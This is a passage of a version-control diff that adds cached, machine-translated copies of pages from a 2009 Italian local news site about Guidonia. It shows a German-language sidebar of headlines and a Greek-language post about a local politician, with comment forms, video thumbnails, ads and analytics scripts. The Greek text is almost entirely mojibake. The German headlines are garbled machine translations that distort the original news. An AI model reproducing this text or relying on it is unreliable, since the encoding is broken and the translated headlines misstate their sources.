denen viele HÃ€user gebaut. Der ... Tags: Enzo Caps abruzzen RaiNews24 RAI Roma ein [...]"">Rai auf Zement</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, HÃ€user ohne Zement. Hier ist der Beweis&#39;&#39;. Die an der Rainews24, Enzo Cappucci, gegraben hatte in den TrÃŒmmern in der Region Abruzzen und hat Belege dafÃŒr gefunden, der Leichtigkeit, fehlende Kontrolle, die kriminelle NachlÃ€ssigkeit, mit denen viele HÃ€user wurden ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, HÃ€user ohne Zement&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">Ausgestattet mit antiken Pistole beraubt im Hotel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Mit dem</a> 23. <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Juli Abonnements fÃŒr regionale C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Die Verwaltung der post-operativen Schmerzen gewinnt &quot;und der Rock &#39;strecken&#39; E. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Frauen und Demokratie.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Angst, LÃŒgen und &quot;Mythos&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Frauen und Demokratie.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Angst, LÃŒgen und &quot;Mythos&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformatoren-Premieren am Donnerstag,</a> 25. <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Juni sind die Kino</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html">Salernitana: Diesse Acri, Fabiani digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">Wahlen, und Guidonia New stadtzentrum</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=de" >GuidoniaPuntoNet (in Arbeit).</a> Link: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Online-Wahlen</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistics" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistics"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 3.951 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 09:22:59 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/el/_wp__p=6286&lang=el
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/el/_wp__p=6286&lang=el	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/el/_wp__p=6286&lang=el	(revision 44)
@@ -0,0 +1,125 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6286 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Guidonia: PAGANO, UDC Î ÎÎ¡ÎÎ€Î¡Î¥ÎÎÎ ÎÎ¡ÎÎÎÎ Î£Î ÎÎÎÎÎ¥ÎÎ Î§ÎÎ¡Î€ÎÎÎ¡ÎÎŠÎÎ£Î - IRIS Press - ÎÎžÎœÎ¹ÎºÏ Î ÏÎ±ÎºÏÎ¿ÏÎµÎ¯Î¿ ÎÎ¹ÎŽÎ®ÏÎµÏÎœ - GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6286&rurl=translate.google.com&lang=it&usg=ALkJrhgcOnfebYF_IrRvVRhY6w-7ubwoUg" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="ÏÏÎ¿ÎµÏÎ¹Î»Î¿Î³Î®" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="ÏÎ¿Î¶" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="ÏÏÎ¬ÏÎ¹ÎœÎ¿" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="ÎŒÏÎ²" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="ÎºÏÎºÎºÎ¹ÎœÎ¿" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="ÎŒÏÎ»Îµ" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·) &quot;Guidonia: PAGANO, UDC Î ÎÎ¡ÎÎ€Î¡Î¥ÎÎÎ ÎÎ¡ÎÎÎÎ Î£Î ÎÎÎÎÎ¥ÎÎ Î§ÎÎ¡Î€ÎÎÎ¡ÎÎŠÎÎ£Î - IRIS Press - ÎÎžÎœÎ¹ÎºÏ Î ÏÎ±ÎºÏÎ¿ÏÎµÎ¯Î¿ ÎÎ¹ÎŽÎ®ÏÎµÏÎœ Î£ÏÏÎ»Î¹Î± Feed" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia ÏÏÎ¿ WEBTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="Guardia di Finanza. ÎÎ±ÏÎ±ÏÏÎµÎžÎµÎ¯ÏÎµÏ ÏÎ¿Ï
+ ÎºÎµÏÎ±Î»Î±Î¯Î¿Ï
+ 3 ÎµÎºÎ±Ï. ÏÎµÎŒÎ¬ÏÎ¹Î± ... - ÎÎ¹ ÏÏÏÎµÏ ÏÏÎœ ÎÏ
+ÏÎ¹ÎºÏÎœ" href=http://www.guidonia.net/wp/?p=6289 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=el" >GuidoniaPuntoNet (ÏÎµ ÎµÎŸÎ­Î»Î¹ÎŸÎ·)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=el" >Î£ÏÎ¯ÏÎ¹</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=el" >Î£ÏÎµÏÎ¹ÎºÎ¬</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=el" >ÎÏÎ±ÏÎ­Ï</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="Î±ÎœÎ±Î¶Î®ÏÎ·ÏÎ·" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6286><h2> <span  > <a href="http://www.guidonia.net/wp?p=6286&lang=el" >Guidonia: PAGANO, UDC Î ÎÎ¡ÎÎ€Î¡Î¥ÎÎÎ ÎÎ¡ÎÎÎÎ Î£Î ÎÎÎÎÎ¥ÎÎ Î§ÎÎ¡Î€ÎÎÎ¡ÎÎŠÎÎ£Î - IRIS Press - ÎÎžÎœÎ¹ÎºÏ Î ÏÎ±ÎºÏÎ¿ÏÎµÎ¯Î¿ ÎÎ¹ÎŽÎ®ÏÎµÏÎœ</a></span> </h2><p class=meta-header> <span  > Î Î¿Ï
+ ÎµÎ»Î®ÏÎžÎ· ÏÏÎ¹Ï 04 ÎÎ¿ÏÎ»Î¹Î¿Ï, 2009 ÏÎµ <a href="http://www.guidonia.net/wp?cat=1&lang=el" >Guidonia ÎÎ­Î±</a> Î±ÏÏ ÏÎ¿ admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?Art=45200&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">Guidonia: PAGANO, UDC Î ÎÎ¡ÎÎ€Î¡Î¥ÎÎÎ ÎÎ¡ÎÎÎÎ Î£Î ÎÎÎÎÎ¥ÎÎ Î§ÎÎ¡Î€ÎÎÎ¡ÎÎŠÎÎ£Î</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>IRIS Press - ÎÎžÎœÎ¹ÎºÏ Î ÏÎ±ÎºÏÎ¿ÏÎµÎ¯Î¿ ÎÎ¹ÎŽÎ®ÏÎµÏÎœ</b></font></font></span> <br /> <span  > <font size=-1>(IRIS) - <b>Guidonia Montecelio,</b> 4 LUG - &quot;ÎÎ¯Î± Î±ÏÏ ÏÎ¹Ï ÏÏÎ¿ÏÎµÏÎ±Î¹ÏÏÎ·ÏÎµÏ ÏÎ¿Ï
+ ÏÏÎ­ÏÎµÎ¹ ÎœÎ± Î±ÎœÏÎ¹ÎŒÎµÏÏÏÎ¹ÏÏÎ¿ÏÎœ ÎŒÎµ ÏÎ· ÎŽÎ­Î¿Ï
+ÏÎ± ÏÎ±ÏÏÏÎ·ÏÎ±, ÎµÎ¯ÎœÎ±Î¹ Î±Ï
+ÏÏ ÏÎ·Ï Î¿ÎŽÎ¹ÎºÎ®Ï Î±ÏÏÎ¬Î»ÎµÎ¹Î±Ï. ÎÎ¯ÎœÎ±Î¹ ÏÎ¬ÏÎ± ÏÎ¿Î»Î»Î¬ Î±ÏÏ
+ÏÎ®ÎŒÎ±ÏÎ± <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=deS6TQ9RkXlJg2M"><font class=p size=-1><b>ÏÎµÏÎ¹ÏÏÏÏÎµÏÎ± Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > ÎÏÎ®ÏÏÎµ ÎŒÎ¹Î± Î±ÏÎ¬ÎœÏÎ·ÏÎ·</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6286#respond style=display:none;&lang=el" ><small>ÎÎ¬ÎœÏÎµ ÎºÎ»Î¹Îº Î³Î¹Î± ÎœÎ± Î±ÎºÏ
+ÏÏÏÎµÏÎµ ÏÎ·Îœ Î±ÏÎ¬ÎœÏÎ·ÏÎ·.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>ÎÎœÎ¿ÎŒÎ± (Î±ÏÎ±Î¹ÏÎµÎ¯ÏÎ±Î¹)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Î€Î±ÏÏ
+ÎŽÏÎ¿ÎŒÎµÎ¯Î¿ (ÎŽÎµÎœ ÎžÎ± ÎŽÎ·ÎŒÎ¿ÏÎ¹ÎµÏ
+ÎžÎµÎ¯) (Î±ÏÎ±Î¹ÏÎ·ÎŒÎ­ÎœÎ¿Ï)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Website</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Î£ÏÏÎ»Î¹Î±</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="ÎÏÎ¿ÏÏÎ¿Î»Î® Î£ÏÎ¿Î»Î¯Î¿Ï
+" class=box /><input type=hidden name=comment_post_ID value=6286 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Î Î»Î·ÏÎ¿ÏÎ¿ÏÎ¯ÎµÏ</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: Î¹ÎŽÎ­ÎµÏ Î³Î¹Î± ÏÎ¿ web</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>ÎÎŽÎ­ÎµÏ ÏÎµ Î±ÎœÎ±Î¶Î®ÏÎ·ÏÎ· ÏÏÎ·ÎŒÎ±ÏÎ¿ÎŽÏÏÎ·ÏÎ·Ï: <a href=mailto:info@guidonia.net>ÎµÏÎ¹ÎºÎ¿Î¹ÎœÏÎœÎ¯Î±</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > ÎÏÎ¿ÏÎµÎ¯ÏÎµ ÎœÎ± ÎŒÎµÎ¯ÎœÎµÏÎµ aÄ¡Ä¡ornata ÎŒÎ­ÏÏ <a href="http://www.guidonia.net/wp?feed=rss2&lang=el" >RSS feed.</a></span> </div><div class=col><div class=box><h3> <span  > ÎÎ¯ÎœÏÎµÎ¿ ÏÏÎµÏÎ¹ÎºÎ¬ ÎŒÎµ Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=el" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia ÎÎ­ÎœÏÏÎ¿" src=http://i.ytimg.com/vi/z32gTXwZyq0/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, ÎŽÎ¹Î±ÏÎ®ÎŒÎ¹ÏÎ·.</span> <span  > Viale Roma ÎºÎ±Î¹ ÏÎ¿ ÏÎ¹ÎŽÎ·ÏÎ¿ÎŽÏÎ¿ÎŒÎ¹ÎºÏ ÏÏÎ±ÎžÎŒÏ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=el" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - ÎÎ­ÎŸÎµÎ¹Ï ÎºÎ±Î¹ ÎÏÎ¿Î¹ ÎÎŒÎ­ÏÎµÏ - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Î€Î± ÎºÎ¿ÎŒÎŒÎ¬ÏÎ¹Î± ÏÎ¿Ï
+ ÎžÏÏ
+Î»Î¹ÎºÎ¿Ï ÏÏ
+ÎœÎ±Ï
+Î»Î¯Î± ÏÎ¿Ï
+ Moro Guidonia ÏÎ¿Ï
+ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=el" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Î€Î± ÎºÎ¿ÎŒÎŒÎ¬ÏÎ¹Î± ÏÎ¿Ï
+ ÎžÏÏ
+Î»Î¹ÎºÎ¿Ï ÏÏ
+ÎœÎ±Ï
+Î»Î¯Î± ÏÎ¿Ï
+ Moro Guidonia ÏÎ¿Ï
+ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=el" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Î Î­ÎœÎœÎ¿Î¹Î± ÏÎ·Ï Everything Is - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Î€Î± ÎºÎ¿ÎŒÎŒÎ¬ÏÎ¹Î± ÏÎ¿Ï
+ ÎžÏÏ
+Î»Î¹ÎºÎ¿Ï ÏÏ
+ÎœÎ±Ï
+Î»Î¯Î± ÏÎ¿Ï
+ Moro Guidonia ÏÎ¿Ï
+ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=el" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - ÎÎ· ÎÎ¹ÏÎ±Î³ÏÎ³Î® - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Î€Î± ÎºÎ¿ÎŒÎŒÎ¬ÏÎ¹Î± ÏÎ¿Ï
+ ÎžÏÏ
+Î»Î¹ÎºÎ¿Ï ÏÏ
+ÎœÎ±Ï
+Î»Î¯Î± ÏÎ¿Ï
+ Moro Guidonia ÏÎ¿Ï
+ ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > ÎÎ³Î³ÎµÎ»Î¯ÎµÏ</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > ÎÎ¿ÏÎ»Î¹Î¿Ï: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="ÎŽÎµÏ
+ÏÎ­ÏÎ±"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="ÏÏÎ¯ÏÎ·"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Î€ÎµÏÎ¬ÏÏÎ·"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="ÏÎ­ÎŒÏÏÎ·"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="ÏÎ±ÏÎ±ÏÎºÎµÏ
+Î®"> <span  > V</span> </th><th abbr=sabato scope=col title="Î£Î¬Î²Î²Î±ÏÎ¿"> <span  > S</span> </th><th abbr=domenica scope=col title="ÎºÏ
+ÏÎ¹Î±ÎºÎ®"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=el" >Â«ÎÎ¿ÏÎœÎ¹Î¿Ï</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=el" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=el" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=el" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > ÎÎµÏÎ±ÏÏÎ±ÏÏÎ®Ï</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6286' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6286&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6286&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6286&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6286&lang=en' hreflang='en' ><img id='flag_img_en' 